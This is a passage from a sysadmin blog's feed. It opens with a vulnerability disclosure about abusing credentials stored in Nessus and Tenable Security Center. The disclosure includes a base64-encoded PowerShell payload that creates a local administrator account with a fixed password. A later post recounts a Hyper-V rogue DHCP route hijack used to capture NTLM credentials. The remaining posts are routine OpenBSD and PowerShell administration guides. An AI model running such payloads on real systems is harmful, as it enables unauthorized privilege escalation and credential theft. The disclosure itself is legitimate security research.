powershell_args: &quot;CgAkAGQAZQBzAGMAIAA9ACAAIgBBAGQAbQBpAG4AIABhAGQAZABlAGQAIAB3AGkAdABoACAATgBlAHMAcwB1AHMAIABCAGkAdABjAGgAZQBzACIACgAkAHAAYQBzAHMAdwBvAHIAZAAgAD0AIAAiAFQAaABpAHMAUABhAHMAcwB3AG8AcgBkAGkAcwBBAHcAZQBzAG8AbQBlADIAMAAxADYAKgAiAAoAJAB1AHMAZQByAG4AYQBtAGUAIAA9ACAAIgBUAGUAcwB0AEEAZABtAGkAbgBOAGUAcwBzAHUAcwAiAAoAJABjAG8AbQBwAHUAdABlAHIAbgBhAG0AZQAgAD0AIAAkAGUAbgB2ADoAQwBPAE0AUABVAFQARQBSAE4AQQBNAEUAIAAgACAAIwAgAHAAbABhAGMAZQAgAGMAbwBtAHAAdQB0AGUAcgBuAGEAbQBlACAAaABlAHIAZQAgAGYAbwByACAAcgBlAG0AbwB0AGUAIABhAGMAYwBlAHMAcwAKACQAYwBvAG0AcAB1AHQAZQByACAAPQAgAFsAQQBEAFMASQBdACIAVwBpAG4ATgBUADoALwAvACQAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGUALABjAG8AbQBwAHUAdABlAHIAIgAKACQAdQBzAGUAcgAgAD0AIAAkAGMAbwBtAHAAdQB0AGUAcgAuAEMAcgBlAGEAdABlACgAIgB1AHMAZQByACIALAAgACQAdQBzAGUAcgBuAGEAbQBlACkACgAkAHUAcwBlAHIALgBTAGUAdABQAGEAcwBzAHcAbwByAGQAKAAkAHAAYQBzAHMAdwBvAHIAZAApAAoAJAB1AHMAZQByAC4AUwBlAHQAaQBuAGYAbwAoACkACgAkAHUAcwBlAHIALgBkAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA9ACAAJABkAGUAcwBjAAoAJAB1AHMAZQByAC4AcwBlAHQAaQBuAGYAbwAoACkACgAkAHUAcwBlAHIALgBVAHMAZQByAEYAbABhAGcAcwAgAD0AIAA2ADUANQAzADYACgAkAHUAcwBlAHIALgBTAGUAdABJAG4AZgBvACgAKQAKACQAZwByAG8AdQBwACAAPQAgAFsAQQBEAFMASQBdACgAIgBXAGkAbgBOAFQAOgAvAC8AJABjAG8AbQBwAHUAdABlAHIAbgBhAG0AZQAvAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAsAGcAcgBvAHUAcAAiACkACgAkAGcAcgBvAHUAcAAuAGEAZABkACgAIgBXAGkAbgBOAFQAOgAvAC8AJAB1AHMAZQByAG4AYQBtAGUALAB1AHMAZQByACIAKQAKAA==&quot;
ps_encoded_args : YES
only_show_cmd_output: YES
&lt;/custom_item&gt;
</code></pre>
<ul>
<li>
<p>Uploading this into Nessus, or Tenable Security Center (with the proper licensing,) then attaching it to a scan policy allowed for use with credentials that were previously stored within, and then launch a scan to do your bidding.</p>
</li>
<li>
<p>Able to execute any cmdlets(or WMI processes) against any domain joined machine, with Domain Admin (DA) rights stored within a Nessus scanner, or Security Center. (Any account type can be abused if it is stored/shared)</p>
</li>
</ul>
<p>To take this a step further I have found that it is possible to reset the admin, or other account password from the CLI if you have root access to the machine on a Security Center.  There is also a simple commandline script for Nessus as well.  So any box that was compromised in another fashion, could have the accounts reset and the attacker could then login to your scanner or security center and have access to all the credentials stored within for use.  In this scenario the attacker could go from having root on a single server, to having Domain Admin on an entire enterprise in a matter of minutes. Scary stuff.</p>
<p>The only portion of this I tested before disclosing was the Windows/Powershell (Custom Audit) compliance abuse I have outlined above.  This finding lead Tenable to fix other issues with compliance scanning, such as Unix.  I only take credit for the Windows/Powershell research, which has been fixed and confirmed.  Due to Tenable's Lack of response and follow up after the POC for this finding left the company, I was forced to publish my findings after multiple emails to Tenable went unanswered. The entire process took over 6 months time as you can see from the timeline at the beginning of this publication.</p>
<h4 id="signedpdfwithkeybasepgp"><a href="http://wmfb.co/txt/Tenable_Compliance_Disclosure.pdf">Signed PDF with Keybase PGP</a></h4>
<h4 id="wyliespgpkey"><a href="https://wyliebayes.com/pgpkey/">Wylie's PGPKey</a></h4>
]]></content:encoded></item><item><title><![CDATA[OpenBSD -current IPv6 Router.  Clients: #Windows, #Android, #Linux, #Openbsd.  Xfinity/Comcast cable internet. Native #IPv6]]></title><description><![CDATA[<!--kg-card-begin: markdown--><!--kg-card-begin: markdown--><p><img src="http://wyliebayes.com/content/images/2017/05/ipv6.jpg" alt="alt"><img src="http://wyliebayes.com/content/images/2017/05/puffy.png" alt="alt"></p>
<p>So this is a follow up article revisiting using native Comcast(Xfinity) internet with your OpenBSD router provide IPv6 connectivity to all of your devices on your LAN.  I first attempted this around OpenBSD 5.4, and had moderate success, but there were still some bugs to be worked out.</p>]]></description><link>http://wyliebayes.com/openbsd-router-clients/</link><guid isPermaLink="false">5a74cad819539b2fb28e595b</guid><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Fri, 12 May 2017 19:46:21 GMT</pubDate><media:content url="http://wyliebayes.com/content/images/2017/05/ipv6_obsd_client-1.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><!--kg-card-begin: markdown--><img src="http://wyliebayes.com/content/images/2017/05/ipv6_obsd_client-1.png" alt="OpenBSD -current IPv6 Router.  Clients: #Windows, #Android, #Linux, #Openbsd.  Xfinity/Comcast cable internet. Native #IPv6"><p><img src="http://wyliebayes.com/content/images/2017/05/ipv6.jpg" alt="OpenBSD -current IPv6 Router.  Clients: #Windows, #Android, #Linux, #Openbsd.  Xfinity/Comcast cable internet. Native #IPv6"><img src="http://wyliebayes.com/content/images/2017/05/puffy.png" alt="OpenBSD -current IPv6 Router.  Clients: #Windows, #Android, #Linux, #Openbsd.  Xfinity/Comcast cable internet. Native #IPv6"></p>
<p>So this is a follow up article revisiting using native Comcast(Xfinity) internet with your OpenBSD router provide IPv6 connectivity to all of your devices on your LAN.  I first attempted this around OpenBSD 5.4, and had moderate success, but there were still some bugs to be worked out. Now that we are up to OpenBSD 6.1, things seem to be much more refined!  This has been fully tested through 6.4 and on -current 6.5 snapshots as well.</p>
<h2 id="therouter">The router!!</h2>
<p>Make sure you add <code>net.inet6.ip6.forwarding=1 # 1=Permit forwarding (routing) of IPv6 packets</code> to your /etc/sysctl.conf .</p>
<pre><code>pkg_add -v wide-dhcpv6
</code></pre>
<h3 id="etcdhcpv6confem1beingexternalem0beinginternal">/etc/dhcpv6.conf (em1 being external, em0 being internal):</h3>
<pre><code> interface em1 {
    send ia-pd 0;
    send ia-na 0;
    send rapid-commit;
    request domain-name-servers;
    request domain-name;
};

id-assoc na 0 {
};

id-assoc pd 0 {
    prefix-interface em0 {
            sla-len 0;
    };
};
</code></pre>
<h3 id="etcrcconflocal">/etc/rc.conf.local:</h3>
<pre><code>rcctl enable rad
rcctl start rad
sh /home/forgotten/start_ipv6.sh
</code></pre>
<h3 id="createaradconf">Create a rad.conf</h3>
<pre><code>Copy /etc/examples/rad.conf to /etc.
Simply put your internal LAN interface name in the config:
interface em0
</code></pre>
<h3 id="homeforgottenstart_ipv6sh">/home/forgotten/start_ipv6.sh:</h3>
<pre><code>#!/bin/sh
egress=em1
internal=em0

/usr/bin/pkill dhcp6c
route -qn delete -inet6 default
ifconfig $egress -inet6

/sbin/ifconfig $egress inet6 autoconf

gateway=
while [ -z &quot;$gateway&quot; ]; do
 sleep 1
 gateway=$( route -qn get -inet6 default | awk '/gateway/ { 
print $2 }' )
done

route -qn add -inet6 default $gateway
/usr/local/sbin/dhcp6c $egress $internal
</code></pre>
<p>I found this script on Github at the following link, thanks to afresh1 for this work!:<br>
<a href="https://gist.github.com/afresh1/274a19b78e8983e0dc9dd4ff1dfd407f">https://gist.github.com/afresh1/274a19b78e8983e0dc9dd4ff1dfd407f</a></p>
<h2 id="theclients">The clients!!</h2>
<p>So Windows, Android, and Linux(Ubuntu 17.04) just worked out of the box.  They were advertised an IPv6 address and just Autoconf was successful without intervention.</p>
<p>On OpenBSD I had to:</p>
<pre><code>pkg_add -v wide-dhcpv6
</code></pre>
<h3 id="etcdhcp6cconf">/etc/dhcp6c.conf:</h3>
<pre><code>interface iwn0 {
    send ia-na 0;
    send rapid-commit;
    send domain-name-servers;
};

id-assoc na {
};
</code></pre>
<h3 id="etcrclocal">/etc/rc.local</h3>
<pre><code>/usr/local/sbin/dhcp6c -c /etc/dhcp6c.conf iwn0
ifconfig iwn0 inet6 autoconf
</code></pre>
<h3 id="herearesomescreenshots">Here are some screenshots!!</h3>
<p>Router / Windows client working:<br>
<img src="http://wyliebayes.com/content/images/2017/05/ipv6.png" alt="OpenBSD -current IPv6 Router.  Clients: #Windows, #Android, #Linux, #Openbsd.  Xfinity/Comcast cable internet. Native #IPv6"></p>
<p>Android client:<br>
<img src="http://wyliebayes.com/content/images/2017/05/android_client.jpg.png" alt="OpenBSD -current IPv6 Router.  Clients: #Windows, #Android, #Linux, #Openbsd.  Xfinity/Comcast cable internet. Native #IPv6"></p>
<p>Ubuntu Linux client:<br>
<img src="http://wyliebayes.com/content/images/2017/05/ubuntu_client.jpg" alt="OpenBSD -current IPv6 Router.  Clients: #Windows, #Android, #Linux, #Openbsd.  Xfinity/Comcast cable internet. Native #IPv6"></p>
<p>OpenBSD laptop client:<br>
<img src="http://wyliebayes.com/content/images/2017/05/ipv6_obsd_client.png" alt="OpenBSD -current IPv6 Router.  Clients: #Windows, #Android, #Linux, #Openbsd.  Xfinity/Comcast cable internet. Native #IPv6"></p>
<!--kg-card-end: markdown--><!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Quick and dirty #Powershell forward and reverse #whois.]]></title><description><![CDATA[<p>Just a real quick way to do whois lookups on domains, and IP addresses, in Powershell.  Forward lookup uses Webservicex.net, and reverse uses Arin.net.</p>
<pre><code>function whois($site) {
    #Syntax:  whois google.com
    $web = New-WebServiceProxy ‘http://www.webservicex.net/whois.asmx?WSDL’
    $web.GetWhoIs(&quot;$($site)&quot;)
}

function rwhois($ip)</code></pre>]]></description><link>http://wyliebayes.com/quick-and-dirty-powershell-forward-and-reverse-whois/</link><guid isPermaLink="false">5a74cad819539b2fb28e5958</guid><category><![CDATA[Blog]]></category><category><![CDATA[Powershell]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Tue, 28 Feb 2017 17:52:51 GMT</pubDate><content:encoded><![CDATA[<p>Just a real quick way to do whois lookups on domains, and IP addresses, in Powershell.  Forward lookup uses Webservicex.net, and reverse uses Arin.net.</p>
<pre><code>function whois($site) {
    #Syntax:  whois google.com
    $web = New-WebServiceProxy ‘http://www.webservicex.net/whois.asmx?WSDL’
    $web.GetWhoIs(&quot;$($site)&quot;)
}

function rwhois($ip){
    #syntax:  whois 8.8.8.8
    $baseURL = 'http://whois.arin.net/rest'
    $url = &quot;$baseUrl/ip/$ip&quot;
    $r = Invoke-RestMethod  $url
    $r.net
}
</code></pre>
<p>Cheers!</p>
]]></content:encoded></item><item><title><![CDATA[Checking #Lastpass saved sites for #Cloudflare with #Powershell. #Cloudbleed #Infosec]]></title><description><![CDATA[<p><img src="http://wyliebayes.com/content/images/2017/02/lastpass-logo-1.png" alt="alt"><br>
<img src="http://wyliebayes.com/content/images/2017/02/cloud_bleed-1.png" alt="alt"></p>
<p>So as everyone already knows there was a huge leak of data for months for websites who use Cloudflare services.  To make my changing of passwords a bit easier, and more focused / targeted I put together a little setup to check all of my Lastpass saved sites for Cloudflare name</p>]]></description><link>http://wyliebayes.com/checking-lastpass-saved-sites-for-cloudflare-with-powershell-cloudbleed-infosec/</link><guid isPermaLink="false">5a74cad819539b2fb28e5955</guid><category><![CDATA[Blog]]></category><category><![CDATA[Powershell]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Fri, 24 Feb 2017 11:08:32 GMT</pubDate><content:encoded><![CDATA[<p><img src="http://wyliebayes.com/content/images/2017/02/lastpass-logo-1.png" alt="alt"><br>
<img src="http://wyliebayes.com/content/images/2017/02/cloud_bleed-1.png" alt="alt"></p>
<p>So as everyone already knows there was a huge leak of data for months for websites who use Cloudflare services.  To make my changing of passwords a bit easier, and more focused / targeted I put together a little setup to check all of my Lastpass saved sites for Cloudflare name servers.</p>
<p>First I exported my Lastpass information to a .txt format from their website export feature.</p>
<p>Then I used a quick and dirty parsing -replace feature of powershell to clean it up:</p>
<pre><code>$newdata = (gc last_pass_sites.txt) -replace '^.*?https?://(.*?)/.*', '$1'
$newdata &gt;&gt; new_sites.txt
</code></pre>
<p>This wasn't perfect and i had to manually clean up about 4 or 5 sites that did not contain the trailing &quot;/&quot; on their website.  But wasn't enough to make me want to tweak the code above.  This is a quick method to check all these sites so I just manually fixed about 5 entries.</p>
<p>Next I performed a Whois against each of the sites, and spit out which sites that matched the word &quot;CLOUDFLARE&quot; in the whois data.  Here is the code below:</p>
<pre><code>function check-cloudflare{
$web = New-WebServiceProxy ‘http://www.webservicex.net/whois.asmx?WSDL’
$sites = get-content C:\users\forgo\Desktop\newsites.txt
foreach ($site in $sites){
	$sitewhois = $web.GetWhoIs(&quot;$($site)&quot;)
	if ($sitewhois -match &quot;CLOUDFLARE&quot;){
		write-host &quot;!!!!!! $($site) Uses Cloudflare !!!!!!&quot;
	}
}
}
</code></pre>
<p>The output looks like:</p>
<pre><code>PS C:\users\forgo\Desktop&gt; check-cloudflare
!!!!!! wallhaven.cc Uses Cloudflare !!!!!!
!!!!!! leenk.me Uses Cloudflare !!!!!!
!!!!!! nostarch.com Uses Cloudflare !!!!!!
!!!!!! experts-exchange.com Uses Cloudflare !!!!!!
!!!!!! pocketnow.com Uses Cloudflare !!!!!!
</code></pre>
<p>This allowed me to focus on websites that I know for a fact I have used, and have a saved password for in Lastpass.  Obviously this is not a fix all solution but definitely helped me get these site passwords changed FIRST.</p>
<p>Cheers!</p>
]]></content:encoded></item><item><title><![CDATA[#VMWare Killing Stuck, or Hung tasks with #Powershell #PowerCLI]]></title><description><![CDATA[<p>Recently I ran into an issue where a Powered Off VM was stuck in a vMotion host migration for over 3 days.  I assume that the VM was powered off during the migration, which is what caused it to hang.  Afterwards two backup job snapshot tasks were also in queue</p>]]></description><link>http://wyliebayes.com/vmware-killing-stuck-or-hung-tasks-with-powershell-powercli/</link><guid isPermaLink="false">5a74cad819539b2fb28e5952</guid><category><![CDATA[Blog]]></category><category><![CDATA[Powershell]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Tue, 21 Feb 2017 20:42:40 GMT</pubDate><content:encoded><![CDATA[<p>Recently I ran into an issue where a Powered Off VM was stuck in a vMotion host migration for over 3 days.  I assume that the VM was powered off during the migration, which is what caused it to hang.  Afterwards two backup job snapshot tasks were also in queue on top of the migration task.</p>
<p>I spent about 10-15 minutes in the GUI trying to find how to kill or stop this task, unsuccessfully.  The only option I could find was to right click on the active migration task, and click &quot;cancel,&quot; which rendered ZERO results.</p>
<p>The task in the task list also shows that it was coming off my ESXi 46 host, but when checking manually with PowerCLI, 46 did not show any tasks associated with my problematic VM.  This is why in the code below I pulled in get-vmhost into a variable, and then setup a loop to look for the VM name in the tasks lists on each host.  This led me to show the destination host was &quot;49&quot; and actually had the tasks I was wanting to kill.</p>
<p>Below is how I solved the issue with Powershell / PowerCLI. It will prompt the user to enter 3 things.</p>
<ul>
<li>The vCenter where the task is stuck.</li>
<li>The VM name.</li>
<li>The Killtype you wish to apply to the task.  &quot;soft, hard, or force.&quot;</li>
</ul>
<p>Here is the code snippit:</p>
<pre><code>function killvm-tasks {
$viserver = $(read-host &quot;Enter vCenter Server&quot;)
connect-viserver $viserver | out-null
$vname = $(read-host &quot;Enter the VM name&quot;)
$killtype = $(read-host &quot;Enter Killtype:  soft, hard, or force&quot;)
$hosts = get-vmhost
foreach ($box in $hosts){
	$vmhost = get-esxcli -vmhost $box.Name
	$processes = $vmhost.vm.process.list()
	foreach ($process in $processes){
	    if ($process.Displayname -eq $vname){
			$box
			$vmhost.vm.process.kill($killtype, $process.WorldID)
		}
	}
}
}
</code></pre>
<p>Cheers!</p>
]]></content:encoded></item><item><title><![CDATA[Switched to Ghost blogging platform. #ghost #openbsd #nginx]]></title><description><![CDATA[<p><img src="http://wyliebayes.com/content/images/2017/02/ghost-logo-1.jpg" alt="alt"></p>
<p>Just throwing up a quick note to say I switched my site to Ghost blogging platform.  Am running wordpress/httpd side by side for my other peeps. SSL cert is up and operational. All the encryptions.</p>]]></description><link>http://wyliebayes.com/switched-to-ghost-blogging-platform-ghost-openbsd-nginx/</link><guid isPermaLink="false">5a74cad819539b2fb28e594c</guid><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Mon, 26 Dec 2016 19:13:20 GMT</pubDate><content:encoded><![CDATA[<p><img src="http://wyliebayes.com/content/images/2017/02/ghost-logo-1.jpg" alt="alt"></p>
<p>Just throwing up a quick note to say I switched my site to Ghost blogging platform.  Am running wordpress/httpd side by side for my other peeps. SSL cert is up and operational. All the encryptions.</p>
]]></content:encoded></item><item><title><![CDATA[Adventures with Hyper-V, Information Security, Route Hijack, Exfiltration, and Compromise. #HyperV #Microsoft #Compromise #Exfiltration]]></title><description><![CDATA[<p><img src="http://wyliebayes.com/content/images/2017/01/hyper-v.JPG" alt="alt"></p>
<p><b>Microsoft has confirmed there is a mitigation already in place by going to settings for a VM go to Network Adapter -&gt; Advanced Features -&gt; DHCP Guard and enable it.  &quot;It is not disabled by default due to it being a performance impact&quot;? </b></p>
<p>I personally powershell</p>]]></description><link>http://wyliebayes.com/adventures-with-hyper-v-information-security-route-hijack-exfiltration-and-compromise-hyperv-microsoft-compromise-exfiltration/</link><guid isPermaLink="false">5a74cad719539b2fb28e5925</guid><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Tue, 20 Dec 2016 20:05:00 GMT</pubDate><content:encoded><![CDATA[<p><img src="http://wyliebayes.com/content/images/2017/01/hyper-v.JPG" alt="alt"></p>
<p><b>Microsoft has confirmed there is a mitigation already in place by going to settings for a VM go to Network Adapter -&gt; Advanced Features -&gt; DHCP Guard and enable it.  &quot;It is not disabled by default due to it being a performance impact&quot;? </b></p>
<p>I personally powershell to just disable DHCP on the interface.  Like:  &quot;Set-NetIpInterface -ifindex 2 -Dhcp Disabled, where ifindex 2&quot; where ifindex is the &quot;Internal&quot; vSwitch type.</p>
<p>The goal of this article is to show proof of concept how a Hyper-V virtual machine with a configuration of two NICs, one internal, one external(with internet access) can lead to a compromise of a Microsoft Domain, and exfiltration of your companies data.</p>
<p>The setup:</p>
<ol>
<li>Windows Server 2012 R2, 2016, or Windows 10 Host with Hyper-V.</li>
<li>VM Capable of doing DHCP server / NAT. (Tested OpenBSD and Windows Server 2016)</li>
<li>VPN service of some kind with compatibility to the VM. We used OpenVPN / private VPS.</li>
</ol>
<p>The Scenario:<br>
A new VM is deployed and handed over to a local administrator, or a VM is compromised from the outside and has this configuration. The VM is given two NICs. One on an external vSwitch giving it outbound internet access, and one connected to an internal switch giving it access to… whatever else it needs access to internally/privately.</p>
<p>Assuming the administrator has not made any modifications to the virtual network adapter that gets created on the host itself when creating the internal vSwitch type, and leaving it set to “Obtain Automatically” for DHCP / DNS settings.</p>
<p>On OpenBSD this was extremely easy. We setup a simple DHCP config to hand out addresses 192.168.10.100-200, statically assigning the internal interface as 192.168.10.1. We used 8.8.8.8, and 8.8.4.4 for DNS, but could easily install/configure our own DNS services to push to the clients as well. Setup sysctl for IPV4 forwarding, and applied a very simple pf.conf to handle the NAT. DHCP will give an address to the Hyper-V host on the virtual NIC it creates, and give the default route a metric of “15” to that route on Windows 10, “5” on Server 2012r2, and “10” on 2016 standard. Only on 2012r2 is this metric the same as the hosts normal default route. Eventually traffic did start flowing through the new dhcp pushed route, but did take a little longer.</p>
<p>On Windows Server 2016 we basically mimic’d this setup using 192.168.11.0/24 network. Installed DHCP and routing and remote access roles. Configured the DHCP server settings, and NAT through routing and remote access snap-ins. Then using powershell and a custom packaged version of OpenVPN client with certs and configs, pulled it down with powershell invoke-webrequest cmdlet. Installed and connected the VPN client to a VPS server in the Netherlands.</p>
<p>Once the VPN connection was active it modified the default route traffic of the VM to push all traffic through the VPN gateway. Verifying on the Hyper-V host that all traceroutes are hitting 192.168.11.1(Server2016 VM) first, then 10.69.69.1 (VPN gateway), then the next hop our of our VPS provider and onward to it’s destination across the internet. VM’s on the host were also affected by this route hijack.</p>
<p>To take it a step further, I stood up a Debian Wheezy box for the VPS, ported OpenVPN server config over it to it and got it working, tested all the above routing, and began installing tools. I stood up a Responder instance and started gathering data, as well as MITM and session hijacking attacks against traffic going through the Debian machine. I was able to capture windows logon credentials(NTLM) from the host / VM’s affected.</p>
<p>Still want to see how far down the rabbit hole this could go with more tools and attacks on the distant end. But this is the initial write up on the finding. As i continue testing I will update this article.</p>
]]></content:encoded></item><item><title><![CDATA[Fix windows unquoted service path enumeration vulnerabilities with #Powershell]]></title><description><![CDATA[<p>Here is a function to fix windows unquoted service path enumeration vulnerabilities automatically with powershell! Cheers!</p>
<pre><code> function fix-servicepath {
 $hosts = get-content C:\Users\*****\Documents\WindowsPowershell\Servers.txt
      foreach ($box in $hosts) {
     $services = $null
     $services = get-wmiobject win32_service -computername $box
     foreach ($service in $services){
           $Displayname = $service.DisplayName
           if (($service.PathName -like &quot;</code></pre>]]></description><link>http://wyliebayes.com/fix-windows-unquoted-service-path-enumeration-vulnerabilities-with-powershell/</link><guid isPermaLink="false">5a74cad719539b2fb28e592d</guid><category><![CDATA[Powershell]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Tue, 20 Dec 2016 19:04:00 GMT</pubDate><content:encoded><![CDATA[<p>Here is a function to fix windows unquoted service path enumeration vulnerabilities automatically with powershell! Cheers!</p>
<pre><code> function fix-servicepath {
 $hosts = get-content C:\Users\*****\Documents\WindowsPowershell\Servers.txt
      foreach ($box in $hosts) {
     $services = $null
     $services = get-wmiobject win32_service -computername $box
     foreach ($service in $services){
           $Displayname = $service.DisplayName
           if (($service.PathName -like &quot;* *&quot;) -and ($service.Pathname -notlike '&quot;*&quot;*') -and ($service.PathName -like '*.exe')) {
         $box
         $service.PathName
         write-host &quot;Changing Path to be quoted:&quot;
         $NewPath = $service.Pathname
         $newservicepath = &quot;`&quot;$NewPath`&quot;&quot;
         $service.change($Displayname,$newservicepath)
         write-host &quot;Done.&quot;
         ;&quot;&quot;
       }
     }
   }
 }</code></pre>
]]></content:encoded></item><item><title><![CDATA[HP OA, Netapp, and Vmware environment monitoring with #Powershell]]></title><description><![CDATA[<p>Here is a custom script I made to check HP Onboard Administrators, Netapp Controllers, and vCenter servers for health issues in Powershell. Cheers!</p>
<p>This relies on a few things first:<br>
VMWare PowerCLI 5.5+<br>
Netapp DataOnTap 4.0 modules<br>
HP OA Powershell Cmdlets to function properly.</p>
<p>If you want to</p>]]></description><link>http://wyliebayes.com/hp-oa-netapp-and-vmware-environment-monitoring-with-powershell/</link><guid isPermaLink="false">5a74cad719539b2fb28e592a</guid><category><![CDATA[Powershell]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Tue, 20 Dec 2016 19:03:00 GMT</pubDate><content:encoded><![CDATA[<p>Here is a custom script I made to check HP Onboard Administrators, Netapp Controllers, and vCenter servers for health issues in Powershell. Cheers!</p>
<p>This relies on a few things first:<br>
VMWare PowerCLI 5.5+<br>
Netapp DataOnTap 4.0 modules<br>
HP OA Powershell Cmdlets to function properly.</p>
<p>If you want to capture VM Snapshot alarms you must create an alarm in your vCenters called “VMSnapshot Running” . I personally set mine to if the snapshot is 2GB or larger, trigger the alarm.</p>
<p>You must export any credentials that are not fully integrated into your AD domain. I export $nacred, and $oacred with export-clixml, and then import those creds into the function upon load time. You would need to add a vCenter cred, and use -Credential $vccred (or whatever your variable is called) on the vmware piece if that is what your environment requires.</p>
<pre><code> function check-env {
 [System.Reflection.Assembly]::LoadWithPartialName(&quot;System.Diagnostics&quot;)
 $sw = new-object system.diagnostics.stopwatch
 $sw.Start()
 ############################################################
 #### Set all static variables. 
 $oas = &quot;oa1&quot; , &quot;oa2&quot;, &quot;oa3&quot;, &quot;oa4&quot;, &quot;oa5&quot;
 $controllers = &quot;filer1&quot;, &quot;filer2&quot;, &quot;filer3&quot;, &quot;filer4&quot;
 $viservers = &quot;vc1&quot;, &quot;vc2&quot;
 $nacred = Import-clixml C:\users\user1\Documents\NACred.xml
 $oacred = import-clixml C:\users\user1\Documents\OACred.xml
 $nothing = ''
 $vms = $null
 #### Check all HP Enclosures, Fans, OAs, Interconnects, Power,  and Blade health. 
write-host &quot;----- Checking all HP Onboard Administrators for alarms -----&quot; -foregroundcolor &quot;magenta&quot; -backgroundcolor &quot;black&quot;
foreach ($oa in $oas){
	write-progress &quot;Checking HP OnBoard Administrators:&quot;
	; &quot;&quot;
	; &quot;&quot;
	$con = Connect-HPOA -OA $oa -Credential $oacred
	$health = Get-HPOAHealth $con
	$bladehealth = $health.bladehealth
	$fanhealth = $health.FanHealth
	$interconnecthealth = $health.InterconnectHealth
	$Powerhealth = $health.PowerSupplyHealth
	$OAhealth = $health.OnboardAdministratorHealth
	$messages = &quot;Absent&quot;, &quot;OK&quot;
	### Check OA Blade Health
	foreach ($item in $bladehealth) {
		if ($item.Status -notin $messages) {
			write-host &quot;$oa has not OK Blade status on Bay:&quot; $item.bay -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
			$item.Status
			$item.CorrectiveAction ; &quot;&quot; ; &quot;&quot;
			$nothing = &quot;something&quot;
		} else {
			$nothing = ''
		}
	}
	if ($nothing -eq $null -or $nothing -eq '') {
			write-host &quot;$oa has no active BLADE alarms or problems.&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
	} else {
		$whatever = &quot;whatever&quot;
	}
	### Check OA Fan Health
	foreach ($item in $fanhealth) {
		if ($item.Status -notin $messages) {
			write-host &quot;$oa has not OK FAN status on Bay:&quot; $item.bay -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
			$item.Status
			$item.CorrectiveAction ; &quot;&quot; ; &quot;&quot;
			$nothing = &quot;something&quot;
		} else {
			$nothing = ''
		}
	}
	if ($nothing -eq $null -or $nothing -eq '') {
			write-host &quot;$oa has no active FAN alarms or problems.&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
	} else {
		$whatever = &quot;whatever&quot;
	}
	#### Check OA Interconnect Bay Health
	foreach ($item in $interconnecthealth) {
		if ($item.Status -notin $messages) {
			write-host &quot;$oa has not OK Interconnect status on Bay:&quot; $item.bay -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
			$item.Status
			$item.CorrectiveAction ; &quot;&quot; ; &quot;&quot;
			$nothing = &quot;something&quot;
		} else {
			$nothing = ''
		}
	}
	if ($nothing -eq $null -or $nothing -eq '') {
			write-host &quot;$oa has no active INTERCONNECT BAY alarms or problems.&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
	} else {
		$whatever = &quot;whatever&quot;
	}
	### Check OA Power Supply Health
	foreach ($item in $powerhealth) {
		if ($item.Status -notin $messages) {
			write-host &quot;$oa has not OK Power Supply status on Bay:&quot; $item.bay -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
			$item.Status
			$item.CorrectiveAction ; &quot;&quot; ; &quot;&quot;
			$nothing = &quot;something&quot;
		} else {
			$nothing = ''
		}
	}
	if ($nothing -eq $null -or $nothing -eq '') {
			write-host &quot;$oa has no active POWER SUPPLY alarms or problems.&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
	} else {
		$whatever = &quot;whatever&quot;
	}
	### Check Onboard Administrator Health
	foreach ($item in $OAhealth) {
		if ($item.Status -notin $messages) {
			write-host &quot;$oa has NOT OK OA status on Bay:&quot; $item.bay -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
			$item.Status
			$item.CorrectiveAction ; &quot;&quot; ; &quot;&quot;
			$nothing = &quot;something&quot;
		} else {
			$nothing = ''
		}
	}
	if ($nothing -eq $null -or $nothing -eq '') {
			write-host &quot;$oa has no active OA bay alarms or problems.&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
	} else {
		$whatever = &quot;whatever&quot;
	}
}
&quot;&quot;;
&quot;&quot;;
#### Check NETAPP Controllers TDKP and KNMD for Failed Disks, disconnected fiber connections, and channel failures.
write-host &quot;----- Checking all Netapp Filers for Failed Disks, Channel Failures, failed aggregates, and offline luns or volumes -----&quot; -foregroundcolor &quot;magenta&quot; -backgroundcolor &quot;black&quot;
; &quot;&quot;
; &quot;&quot;
foreach ($controller in $controllers) {
	$nothing = ''
	write-progress &quot;Checking NetAPP Controllers for Failed Disks, Channel Failures, failed aggregates, and offline luns or volumes: &quot;
	Connect-NaController -Name $controller -Credential $nacred | out-null
	### Check for Failed Disks
	$disk = Get-NaDiskOwner | ? {$_.Failed -eq &quot;True&quot;} | ? {$_.Owner -eq $controller}
	$shelfstatus = Get-NaShelf | Get-NaShelfEnvironment | where-object {$_.IsShelfChannelFailure -eq 1}
	if ($disk -eq $null) {
		write-host $controller &quot;Has No Failed Disks.&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot; 
	} else {
		write-host &quot;The following controller $($controller) has failed disks:&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
		$disk | Select-Object -Property Name, SerialNumber, Owner, OwnerId, Pool, Failed | Format-Table -Wrap -Autosize
		$diskdata = get-nadisk $disk.Name
		$diskdata | Select-Object -Property Name, Shelf, Bay, Status, PhysSpace, RPM, FW, Model, Pool, Aggregate | Format-Table -Wrap -Autosize
